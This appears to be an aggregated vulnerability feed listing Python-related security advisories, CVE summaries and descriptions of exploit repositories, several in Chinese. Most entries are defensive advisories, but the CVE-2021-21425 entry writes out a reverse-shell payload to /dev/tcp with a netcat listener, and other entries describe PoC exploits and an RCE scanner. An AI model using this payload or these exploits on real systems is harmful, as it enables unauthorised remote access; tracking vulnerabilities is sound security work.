AlmaLinux 9.2 [TuxCare] Security Update: python-unversioned-command / python3 / python3-debug / etc (ALMALINUX9.2:CLSA-2026:1791403199)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1791403199 advisory. - The stringprep module didn't process characters from RFC 3454 tables B.2 or B.3 correctly: the latest Unicode codepoint attributes were use...

CentOS Linux 8.4 [TuxCare] Security Update: platform-python / platform-python-debug / platform-python-devel / etc (CENTOS8.4:CLSA-2026:1791413715)

The CentOS Linux 8.4 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS8.4:CLSA-2026:1791413715 advisory. - A remote, unauthenticated TLS client can make a server crash or call through a freed pointer if its snicallback assigns a different context...

RHEL 8 : python3.12 (RHSA-2026:77028)

The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:77028 advisory. Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level...

CVE-2026-87902

PoC for CVE-2026-87902 nothing too detailed, some basic checks. usage: python3 wp87902.py -u https://targeturl optional flags: -p PAGE -d DEPTH --prefix PREFIX --page-scan-limit PAGESCANLIMIT --timeout TIMEOUT -k -v...

CVE-2021-21425

CVE-2021-21425 来源：https://www.exploit-db.com/exploits/49973 1 更改目标IP 2 更改有效载荷 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

CVE-2025-55182

CVE-2025-55182 - 工具 React2Shell React2Shell Ultimate Scanner v2.0 针对 CVE-2025-66478 的专业 Next.js RSC RCE 漏洞扫描器 🎯 概述 React2Shell Ultimate 是一款针对 CVE-2025-66478 的全面漏洞扫描器，该漏洞是一个影响使用 React Server Components RSC 的 Next.js 应用程序的关键远程代码执行 RCE 漏洞。 🆕 v2.0 新增内容 2.0 版本带来了重大增强和专业功能： ✨ 增强的 God Mode -...

cve-2016-5699-jinzheng-sha

cve-2016-5699-report 阅读课程报告 此仓库引用了一个示例。 simple-client.py 是一个 Python 脚本，用于向命令行参数传入的 URL 发起 HTTP 请求。 simple-server.py 使用 Flask 构建一个简单的 HTTP 服务器，用于打印所收到请求的标头。 环境搭建 安装 virtualenv，pip install virtualenv 获取两个版本的 Python 用于对比，一个在 2.7.10 之前，另一个在 2.7.10 之后。这个链接可能有用。 使用 virtualenv 创建两个 Python 环境。例如：...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 免责声明 本仓库包含针对 CVE-2023-466064 的概念验证代码，严格限于教育目的 。作者和贡献者不认可任何非法活动。此处提供的信息仅用于学术、安全研究和测试目的，以及用于当前 HackTheBox 上 Broker 靶机的攻克。 使用此漏洞利用程序即表示您同意对自己的行为承担全部责任。作者不承担任何责任，且不对由本程序造成的任何误用或损害负责。遵守所有适用法律是您的责任。 概述 CVE-2023-466064 是一个影响 Apache 的 ActiveMQ Openwire 协议 的漏洞。该缺陷允许攻击者在 运行...

python: Python: CPU Denial of Service in HTML parser via repeated unterminated markup declarations

A flaw was found in Python. Its incremental HTML parser can be exploited by a remote attacker. By sending specially crafted, uncontrolled data with repeated, incomplete markup declarations, the attacker can cause the system to consume excessive central processing unit CPU resources. This leads to...

python: Quadratic complexity in os.path.expandvars() with user-controlled template

A vulnerability in Python’s os.path.expandvars function that can cause performance degradation. When processing specially crafted, user-controlled input with nested environment variable patterns, the function exhibits quadratic time complexity, potentially leading to excessive CPU usage and denia...

cpython: Python HTMLParser quadratic complexity

A denial-of-service DoS vulnerability has been discovered in Python's html.parser.HTMLParser class. When processing specially malformed HTML input, the parsing runtime can become quadratic with respect to the input size. This significantly increased processing time can lead to excessive resource...

CVE-2026-105812

Improper control of code generation in the agent import functionality of Amazon Bedrock AgentCore Starter Toolkit before 0.3.14 might allow an authenticated same-account actor to execute arbitrary code when a user imports and runs or deploys a Bedrock Agent, via crafted configuration values...

EUVD-2026-94001

Improper control of code generation in the agent import functionality of Amazon Bedrock AgentCore Starter Toolkit before 0.3.14 might allow an authenticated same-account actor to execute arbitrary code when a user imports and runs or deploys a Bedrock Agent, via crafted configuration values...

CVE-2026-105812 Code injection via unencoded configuration values during Python code generation in Bedrock AgentCore Starter Toolkit agent import

Improper control of code generation in the agent import functionality of Amazon Bedrock AgentCore Starter Toolkit before 0.3.14 might allow an authenticated same-account actor to execute arbitrary code when a user imports and runs or deploys a Bedrock Agent, via crafted configuration values...

CVE-2026-105812 Code injection via unencoded configuration values during Python code generation in Bedrock AgentCore Starter Toolkit agent import

Improper control of code generation in the agent import functionality of Amazon Bedrock AgentCore Starter Toolkit before 0.3.14 might allow an authenticated same-account actor to execute arbitrary code when a user imports and runs or deploys a Bedrock Agent, via crafted configuration values...

AZL-106712 CVE-2026-106454 affecting package python-twisted 22.10.0-6

Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly t...

violent-python3

Código fuente de Python 3 "Violent Python" Código fuente del libro "Violent Python" de TJ O'Connor. El código se ha convertido completamente a Python 3, reformateado para cumplir con los estándares PEP8 y refactorizado para eliminar problemas de dependencias derivados de la implementación de...

CVE-2026-106441

Hydra is a framework for elegantly configuring complex applications. Prior to 1.3.6 and 1.4.0.dev9, Hydra passes Python logging configuration to logging.config.dictConfig without applying Hydra's target policy to handler class values or formatter, filter, handler, queue, and listener factories. A...

CVE-2026-102273 affecting package python-jwt for versions less than 2.15.1-1

CVE-2026-102273 affecting package python-jwt for versions less than 2.15.1-1. An upgraded version of the package is available that resolves this issue...

CVE-2026-102268 affecting package python-jwt for versions less than 2.15.1-1

CVE-2026-102268 affecting package python-jwt for versions less than 2.15.1-1. An upgraded version of the package is available that resolves this issue...